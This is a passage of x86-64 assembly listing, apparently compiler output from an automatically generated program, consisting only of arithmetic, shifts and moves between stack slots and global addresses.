movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x92]
and eax, ecx
mov rcx, qword [rsp + 0x78e8]
mov byte [rcx], al
lea rax, [rsp + 0x3030]
mov qword [rsp + 0x8140], rax
mov rax, qword [rsp + 0x5fa0]
mov rcx, qword [rsp + 0x56e8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x55f8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2c44]
mov ecx, dword [rsp + 0x2b74]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x300c], eax
mov rax, qword [rsp + 0x5388]
mov qword [rsp + 0x8148], rax
mov rax, qword [rsp + 0x68f8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xbb4]
add eax, ecx
mov word [0x1401130f8], ax
mov rax, qword [rsp + 0x5268]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5ba8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5fa8]
mov byte [rcx], al
mov rax, qword [0x140114338]
movzx eax, word [rax]
mov word [rsp + 0xee0], ax
movzx eax, word [rsp + 0x9f4]
movzx ecx, word [rsp + 0xcc0]
sub eax, ecx
mov word [rsp + 0xca4], ax
movzx eax, byte [rsp + 0x14e]
movzx ecx, byte [rsp + 0x66]
and eax, ecx
mov byte [rsp + 0x45], al
mov rax, qword [rsp + 0x64c0]
mov eax, dword [rax]
mov dword [rsp + 0x310c], eax
mov rax, qword [rsp + 0x7250]
mov rcx, qword [rsp + 0x77b8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x54d0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5120]
mov eax, dword [rax]
mov dword [rsp + 0x3110], eax
mov rax, qword [rsp + 0x6590]
mov rcx, qword [rsp + 0x5a88]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x6bc8], rax
lea rax, [rsp + 0xae0]
mov qword [0x140114858], rax
movsx eax, word [rsp + 0x978]
mov rcx, qword [rsp + 0x7ba8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc80], ax
lea rax, [rsp + 0xc74]
mov qword [rsp + 0x8150], rax
movzx eax, byte [0x140113022]
mov rcx, qword [rsp + 0x5c48]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x86], al
lea rax, [rsp + 0x175]
mov qword [rsp + 0x8158], rax
mov rax, qword [rsp + 0x4d88]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x30d0]
sar eax, cl
mov rcx, qword [rsp + 0x7888]
mov dword [rcx], eax
mov rax, qword [rsp + 0x75f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x63d0]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7ca8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5d38]
mov rax, qword [rax]
mov qword [rsp + 0x8160], rax
mov rax, qword [rsp + 0x64e8]
mov ecx, dword [rsp + 0x2bf8]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x6600]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7818]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5968]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x1401141b0]
mov word [rcx], ax
mov rax, qword [rsp + 0x7c60]
movzx eax, word [rax]
mov word [rsp + 0xee4], ax
mov rax, qword [rsp + 0x5828]
movsx eax, byte [rax]
mov rcx, qword [0x140114498]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5d88]
mov byte [rcx], al
mov rax, qword [rsp + 0x7810]
movzx eax, byte [rax]
mov byte [rsp + 0x1ad], al
movsx eax, word [rsp + 0xd08]
mov rcx, qword [rsp + 0x5e58]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xd2c], ax
mov rax, qword [0x140113008]
mov rcx, qword [rsp + 0x67e0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x5000], rax
mov rax, qword [rsp + 0x5060]
mov eax, dword [rax]
mov dword [rsp + 0x3114], eax
mov rax, qword [rsp + 0x5d08]
mov rcx, qword [rsp + 0x5248]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x301c], eax
mov rax, qword [rsp + 0x6ce0]
mov qword [rsp + 0x8168], rax
mov rax, qword [rsp + 0x75b0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6388]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401130ab], al
mov rax, qword [rsp + 0x7008]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6f40]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x125], al
movsx eax, word [rsp + 0x9e4]
mov rcx, qword [rsp + 0x6e00]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xa90], ax
mov rax, qword [rsp + 0x5050]
movzx eax, byte [rax]
mov byte [rsp + 0x1ae], al
movzx eax, byte [rsp + 0xd0]
movzx ecx, byte [rsp + 0xe5]
sub eax, ecx
mov byte [rsp + 0x1a9], al
lea rax, [rsp + 0x7050]
mov qword [rsp + 0x8170], rax
mov rax, qword [rsp + 0x66c8]
movzx ecx, al
mov rax, qword [rsp + 0x80c0]
shl rax, cl
mov qword [rsp + 0x57e0], rax
mov rax, qword [rsp + 0x6940]
mov rcx, qword [rsp + 0x7888]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x7f60]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6550]
mov eax, dword [rax]
mov dword [rsp + 0x3118], eax
movzx eax, word [rsp + 0x85c]
movzx ecx, word [rsp + 0xe40]
sar eax, cl
mov word [0x140114370], ax
movzx eax, word [rsp + 0xc8c]
mov rcx, qword [rsp + 0x5560]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xa98], ax
lea rax, [rsp + 0x12d]
mov qword [rsp + 0x8178], rax
mov rax, qword [rsp + 0x5360]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5738]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x184], al
mov rax, qword [rsp + 0x6458]
movzx eax, word [rax]
mov word [rsp + 0xee8], ax
mov rax, qword [rsp + 0x7680]
mov rax, qword [rax]
mov rcx, qword [0x140113008]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x59a0], rax
mov rax, qword [rsp + 0x6b78]
mov rcx, qword [rsp + 0x6398]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x6490], rax
mov rax, qword [rsp + 0x55f0]
mov eax, dword [rax]
mov dword [rsp + 0x311c], eax
mov rax, qword [rsp + 0x57b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2bdc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2d9c], eax
mov rax, qword [rsp + 0x6160]
movzx eax, byte [rax]
mov byte [0x140114287], al
movzx eax, byte [rsp + 0x4a]
mov byte [rsp + 0x1af], al
mov rax, qword [rsp + 0x7a40]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x68b8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6f58]
mov word [rcx], ax
mov rax, qword [rsp + 0x7740]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6ae0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xa34], ax
lea rax, [rsp + 0xa7c]
mov qword [rsp + 0x8180], rax
mov rax, qword [rsp + 0x7b70]
mov rcx, qword [rsp + 0x62c8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x75a0], rax
lea rax, [rsp + 0x2b1c]
mov qword [rsp + 0x8188], rax
mov rax, qword [rsp + 0x6180]
mov ecx, dword [rsp + 0x2d7c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2cfc], eax
mov rax, qword [rsp + 0x72b8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x57e0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6250], rax
movzx eax, word [rsp + 0xa14]
mov word [rsp + 0xeec], ax
mov rax, qword [rsp + 0x7df0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa78]
and eax, ecx
mov rcx, qword [0x1401146c8]
mov word [rcx], ax
mov rax, qword [rsp + 0x6fa8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7e30]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x18f], al
lea rax, [rsp + 0x98]
mov qword [rsp + 0x8190], rax
mov rax, qword [rsp + 0x7e58]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xdcc]
or eax, ecx
mov word [rsp + 0xeec], ax
mov rax, qword [rsp + 0x7f60]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x6210]
mov qword [rsp + 0x8198], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8198]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x2f90], eax
mov rax, qword [rsp + 0x5db0]
mov qword [rsp + 0x81a0], rax
mov rax, qword [rsp + 0x7950]
mov rax, qword [rax]
cqo
idiv qword [rsp + 0x5bd8]
mov rcx, qword [rsp + 0x73d0]
mov qword [rcx], rax
lea rax, [rsp + 0x2bb8]
mov qword [rsp + 0x81a8], rax
mov rax, qword [rsp + 0x58d0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x15f]
xor eax, ecx
mov byte [rsp + 0xdb], al
lea rax, [rsp + 0x9b8]
mov qword [0x140114860], rax
lea rax, [rsp + 0xb8]
mov qword [rsp + 0x81b0], rax
movzx eax, word [rsp + 0xc74]
mov rcx, qword [rsp + 0x5058]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x61e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x5cb0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5b00]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x58b8]
mov byte [rcx], al
mov rax, qword [0x140114160]
mov qword [rsp + 0x81b8], rax
mov rax, qword [rsp + 0x5140]
mov rcx, qword [rsp + 0x5120]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2ae4], eax
lea rax, [rsp + 0x70b0]
mov qword [rsp + 0x81c0], rax
mov rax, qword [rsp + 0x7660]
mov ecx, dword [rsp + 0x30a8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x5a98]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x13c]
movzx ecx, byte [rsp + 0xe3]
add eax, ecx
mov rcx, qword [rsp + 0x56a0]
mov byte [rcx], al
mov rax, qword [rsp + 0x5e70]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xcd4]
sub eax, ecx
mov rcx, qword [0x1401144f8]
mov word [rcx], ax
lea rax, [0x1401146b8]
mov qword [rsp + 0x81c8], rax
mov rax, qword [rsp + 0x55c0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x68b8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5848]
mov word [rcx], ax
mov rax, qword [rsp + 0x6388]
movzx eax, byte [rax]
mov byte [rsp + 0x1b0], al
mov rax, qword [rsp + 0x5158]
mov rcx, qword [rsp + 0x7670]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x6ca8], rax
mov eax, dword [rsp + 0x2e7c]
mov ecx, dword [rsp + 0x2b88]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4ff8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6500]
mov rax, qword [rax]
mov qword [rsp + 0x81d0], rax
mov rax, qword [rsp + 0x6278]
mov rcx, qword [rsp + 0x5c88]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x6c00]
mov dword [rcx], eax
lea rax, [rsp + 0xab0]
mov qword [rsp + 0x81d8], rax
lea rax, [rsp + 0x15d]
mov qword [0x140114868], rax
movzx eax, byte [rsp + 0x8c]
mov rcx, qword [0x140114480]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6e78]
mov byte [rcx], al
lea rax, [rsp + 0xcbc]
mov qword [rsp + 0x81e0], rax
movzx eax, byte [rsp + 0x187]
movzx ecx, byte [rsp + 0x7c]
sar eax, cl
mov byte [rsp + 0x35], al
movsx eax, word [rsp + 0x86c]
movsx ecx, word [rsp + 0xa30]
shl eax, cl
mov word [rsp + 0xc4c], ax
mov eax, dword [rsp + 0x2b48]
mov dword [rsp + 0x3120], eax
mov rax, qword [rsp + 0x7398]
mov ecx, dword [rsp + 0x2ca8]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x2e9c], eax
lea rax, [0x140113008]
mov qword [rsp + 0x81e8], rax
mov rax, qword [rsp + 0x5d68]
mov rcx, qword [rsp + 0x6840]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x4f48], rax
mov rax, qword [rsp + 0x6170]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7e90]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [0x140113067], al
mov rax, qword [rsp + 0x5cd8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6dd0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1a3], al
lea rax, [rsp + 0xdb0]
mov qword [rsp + 0x81f0], rax
movzx eax, word [rsp + 0xc58]
movzx ecx, word [rsp + 0xa0c]
sub eax, ecx
mov word [rsp + 0xbf4], ax
lea rax, [0x14011301b]
mov qword [rsp + 0x81f8], rax
mov rax, qword [rsp + 0x5b60]
mov rcx, qword [rsp + 0x5460]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2f04], eax
mov rax, qword [rsp + 0x6728]
mov ecx, dword [rsp + 0x2d18]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x5e60]
mov dword [rcx], eax
lea rax, [0x140113008]
mov qword [rsp + 0x8200], rax
mov rax, qword [rsp + 0x64b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x56d8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x78d8], rax
lea rax, [rsp + 0xb04]
mov qword [0x140114870], rax
mov rax, qword [0x140114330]
movzx eax, word [rax]
mov word [rsp + 0xef0], ax
movzx eax, byte [rsp + 0x8f]
mov rcx, qword [rsp + 0x51d0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6ed8]
mov byte [rcx], al
mov rax, qword [rsp + 0x5e08]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa6c]
add eax, ecx
mov rcx, qword [rsp + 0x63f0]
mov word [rcx], ax
lea rax, [0x140113072]
mov qword [rsp + 0x8208], rax
mov rax, qword [rsp + 0x5b98]
mov rcx, qword [rsp + 0x4b90]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7af8], rax
mov rax, qword [rsp + 0x73d0]
mov rax, qword [rax]
mov qword [rsp + 0x8210], rax
mov rax, qword [rsp + 0x64e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2e08]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b98], eax
mov rax, qword [rsp + 0x6298]
mov eax, dword [rax]
mov dword [rsp + 0x3124], eax
mov rax, qword [rsp + 0x4de0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6bd8]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x1401143c8], ax
movzx eax, byte [rsp + 0xf3]
mov rcx, qword [0x1401144d8]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x6640]
mov byte [rcx], al
movsx eax, byte [rsp + 0xb7]
movsx ecx, byte [rsp + 0x96]
shl eax, cl
mov byte [rsp + 0x1a4], al
mov rax, qword [rsp + 0x7328]
movzx eax, byte [rax]
mov byte [rsp + 0x1b1], al
movsx eax, word [rsp + 0xe68]
mov rcx, qword [0x1401146b0]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x9e4], ax
lea rax, [rsp + 0x2d9c]
mov qword [rsp + 0x8218], rax
mov rax, qword [rsp + 0x6168]
mov rcx, qword [rsp + 0x8020]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x6390]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5858]
mov rcx, qword [rsp + 0x56d8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4e78], rax
mov rax, qword [rsp + 0x6fe8]
mov eax, dword [rax]
mov dword [rsp + 0x3128], eax
movzx eax, word [rsp + 0xda0]
movzx ecx, word [rsp + 0x854]
add eax, ecx
mov word [0x140113140], ax
mov rax, qword [0x1401147f8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5f68]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7368]
mov word [rcx], ax
lea rax, [rsp + 0x184]
mov qword [rsp + 0x8220], rax
mov rax, qword [rsp + 0x56e0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5450]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6970]
mov byte [rcx], al
mov rax, qword [0x1401142a8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5e58]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x858], ax
mov rax, qword [rsp + 0x5db8]
mov rax, qword [rax]
mov qword [rsp + 0x8228], rax
mov rax, qword [rsp + 0x57b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2cd4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2ce4], eax
mov rax, qword [rsp + 0x5478]
mov eax, dword [rax]
mov dword [rsp + 0x312c], eax
mov rax, qword [rsp + 0x6a10]
mov rcx, qword [rsp + 0x5fb8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6d50], rax
lea rax, [rsp + 0x17e]
mov qword [0x140114878], rax
movzx eax, word [rsp + 0xc14]
movzx ecx, word [rsp + 0xb98]
add eax, ecx
mov rcx, qword [rsp + 0x7c48]
mov word [rcx], ax
mov rax, qword [rsp + 0x7748]
movzx eax, byte [rax]
mov byte [rsp + 0x1b2], al
mov rax, qword [rsp + 0x6f58]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6370]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x6de8]
mov word [rcx], ax
movzx eax, word [rsp + 0xd14]
mov word [rsp + 0xef4], ax
mov rax, qword [rsp + 0x4f90]
mov rcx, qword [rsp + 0x7c00]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x5a90], rax
mov rax, qword [rsp + 0x5bc8]
mov eax, dword [rax]
mov dword [rsp + 0x3130], eax
mov eax, dword [rsp + 0x2fb4]
mov rcx, qword [rsp + 0x7768]
mov qword [rsp + 0x8230], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8230]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x3118], eax
mov rax, qword [rsp + 0x7438]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6cd0]
mov qword [rsp + 0x8238], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8238]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x5e50]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x12e]
movsx ecx, byte [rsp + 0x17b]
and eax, ecx
mov rcx, qword [0x140114648]
mov byte [rcx], al
lea rax, [rsp + 0x4f]
mov qword [rsp + 0x8240], rax
movzx eax, word [rsp + 0xd80]
movzx ecx, word [rsp + 0xd20]
add eax, ecx
mov word [rsp + 0xaa4], ax
mov rax, qword [rsp + 0x74d0]
movzx eax, word [rax]
mov word [rsp + 0xef8], ax
mov rax, qword [0x140114440]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5990]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x9a], al
mov rax, qword [rsp + 0x6dc8]
mov rcx, qword [rsp + 0x5da0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2fec], eax
lea rax, [rsp + 0x2b58]
mov qword [rsp + 0x8248], rax
mov rax, qword [rsp + 0x5f98]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5c70]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x5ea0], rax
mov rax, qword [rsp + 0x5628]
mov qword [rsp + 0x8250], rax
mov rax, qword [rsp + 0x7928]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5b58]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x140113144], ax
movsx eax, byte [0x14011303b]
movsx ecx, byte [rsp + 0x61]
and eax, ecx
mov rcx, qword [rsp + 0x7b68]
mov byte [rcx], al
mov rax, qword [rsp + 0x6e78]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xc0]
sub eax, ecx
mov byte [rsp + 0x132], al
movzx eax, byte [rsp + 0x113]
mov byte [rsp + 0x1b3], al
movsx eax, word [rsp + 0x95c]
mov rcx, qword [rsp + 0x4f28]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5978]
mov word [rcx], ax
lea rax, [rsp + 0x67e8]
mov qword [rsp + 0x8258], rax
mov rax, qword [rsp + 0x7480]
mov rcx, qword [rsp + 0x7068]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x7180]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6d38]
mov rax, qword [rax]
mov qword [rsp + 0x8260], rax
mov eax, dword [rsp + 0x2e04]
movzx ecx, al
mov eax, dword [rsp + 0x2fc8]
shr eax, cl
mov rcx, qword [rsp + 0x5ec0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x19a]
mov rcx, qword [rsp + 0x7008]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x1a3], al
mov rax, qword [rsp + 0x7328]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x126]
xor eax, ecx
mov byte [0x14011304b], al
lea rax, [rsp + 0xb88]
mov qword [rsp + 0x8268], rax
mov rax, qword [rsp + 0x7350]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x908]
or eax, ecx
mov word [rsp + 0x998], ax
mov rax, qword [rsp + 0x6160]
movzx eax, byte [rax]
mov byte [rsp + 0x1b4], al
mov rax, qword [rsp + 0x6068]
mov ecx, dword [rsp + 0x2f28]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x6698]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7cd8]
mov rcx, qword [0x140113008]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x5010]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5d90]
mov eax, dword [rax]
mov dword [rsp + 0x3134], eax
mov rax, qword [rsp + 0x6608]
mov rcx, qword [rsp + 0x5ff0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x7640]
mov qword [rcx], rax
mov rax, qword [0x140114260]
movzx eax, byte [rax]
mov byte [rsp + 0x1b5], al
mov rax, qword [rsp + 0x79a8]
movzx eax, word [rax]
mov word [0x140114880], ax
movsx eax, word [rsp + 0xe58]
mov rcx, qword [rsp + 0x5100]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x8c0], ax
movzx eax, word [rsp + 0xde0]
movzx ecx, word [rsp + 0x9dc]
add eax, ecx
mov word [rsp + 0xb98], ax
mov rax, qword [rsp + 0x73b8]
movzx eax, word [rax]
mov word [rsp + 0xefc], ax
mov rax, qword [rsp + 0x6398]
mov rcx, qword [rsp + 0x7380]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7788]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2eac]
mov dword [rsp + 0x3138], eax
mov rax, qword [rsp + 0x7440]
mov rax, qword [rax]
mov rcx, qword [0x140113008]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5be8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x56f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2ebc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2fec], eax
lea rax, [rsp + 0xb20]
mov qword [rsp + 0x8270], rax
mov rax, qword [rsp + 0x65c0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x85c]
add eax, ecx
mov word [0x1401130b0], ax
mov rax, qword [rsp + 0x7b68]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x16d]
shl eax, cl
mov byte [rsp + 0xc3], al
lea rax, [rsp + 0x7b]
mov qword [rsp + 0x8278], rax
movzx eax, byte [0x1401130aa]
movzx ecx, byte [rsp + 0x14e]
or eax, ecx
mov byte [rsp + 0x13e], al
mov rax, qword [rsp + 0x5bf8]
mov rax, qword [rax]
mov qword [rsp + 0x8280], rax
mov rax, qword [rsp + 0x6738]
mov ecx, dword [0x140114150]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x7598]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2b9c]
mov rcx, qword [rsp + 0x5520]
mov qword [rsp + 0x8288], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8288]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x5210]
mov dword [rcx], eax
lea rax, [rsp + 0x5260]
mov qword [rsp + 0x8290], rax
movzx eax, byte [rsp + 0xf4]
mov rcx, qword [0x140114268]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x19b], al
mov rax, qword [rsp + 0x69a0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1ae]
and eax, ecx
mov rcx, qword [0x140114168]
mov byte [rcx], al
movzx eax, word [rsp + 0xd8c]
mov word [rsp + 0xf00], ax
mov rax, qword [rsp + 0x5458]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7580]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7810]
mov byte [rcx], al
movzx eax, word [rsp + 0x8f8]
mov rcx, qword [rsp + 0x5b20]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xe2c], ax
lea rax, [rsp + 0x8e8]
mov qword [rsp + 0x8298], rax
mov rax, qword [rsp + 0x73c0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7d78]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6090]
mov qword [rcx], rax
lea rax, [rsp + 0x2bcc]
mov qword [rsp + 0x82a0], rax
mov eax, dword [rsp + 0x2d6c]
mov ecx, dword [rsp + 0x2de4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6b88]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6b50]
mov rcx, qword [0x140114160]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x50b0]
mov qword [rcx], rax
lea rax, [rsp + 0xb90]
mov qword [0x140114888], rax
lea rax, [rsp + 0x11e]
mov qword [rsp + 0x82a8], rax
mov rax, qword [rsp + 0x8190]
movsx eax, byte [rax]
mov rcx, qword [0x140114668]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x4d], al
movzx eax, word [rsp + 0xd60]
mov word [rsp + 0xf04], ax
movsx eax, word [rsp + 0xe38]
mov rcx, qword [rsp + 0x6990]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xdd4], ax
lea rax, [rsp + 0x80c0]
mov qword [rsp + 0x82b0], rax
mov rax, qword [rsp + 0x6200]
mov rcx, qword [rsp + 0x5800]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x7578], rax
mov rax, qword [rsp + 0x7298]
mov ecx, dword [rsp + 0x30e8]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x2eb8], eax
lea rax, [rsp + 0x302c]
mov qword [rsp + 0x82b8], rax
lea rax, [rsp + 0x12d]
mov qword [0x140114890], rax
mov rax, qword [rsp + 0x5560]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x8dc]
sar eax, cl
mov word [rsp + 0xecc], ax
lea rax, [rsp + 0x72]
mov qword [rsp + 0x82c0], rax
movsx eax, byte [rsp + 0x12a]
movsx ecx, byte [rsp + 0x80]
shl eax, cl
mov byte [rsp + 0x11f], al
mov rax, qword [rsp + 0x7428]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x60e0]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xc0c], ax
lea rax, [rsp + 0x2d00]
mov qword [rsp + 0x82c8], rax
mov rax, qword [rsp + 0x7498]
mov rcx, qword [0x140113008]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x56d0], rax
mov rax, qword [rsp + 0x5c90]
mov eax, dword [rax]
mov dword [rsp + 0x313c], eax
mov rax, qword [rsp + 0x5480]
mov rcx, qword [rsp + 0x6930]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x78b0]
mov qword [rcx], rax
mov rax, qword [0x140114488]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1a7]
and eax, ecx
mov byte [0x140113046], al
mov rax, qword [rsp + 0x8180]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xebc]
sub eax, ecx
mov word [rsp + 0xddc], ax
movzx eax, byte [rsp + 0x1b5]
mov byte [rsp + 0x1b6], al
movzx eax, byte [rsp + 0x91]
movzx ecx, byte [rsp + 0xa8]
add eax, ecx
mov byte [rsp + 0x60], al
movzx eax, word [rsp + 0xcc8]
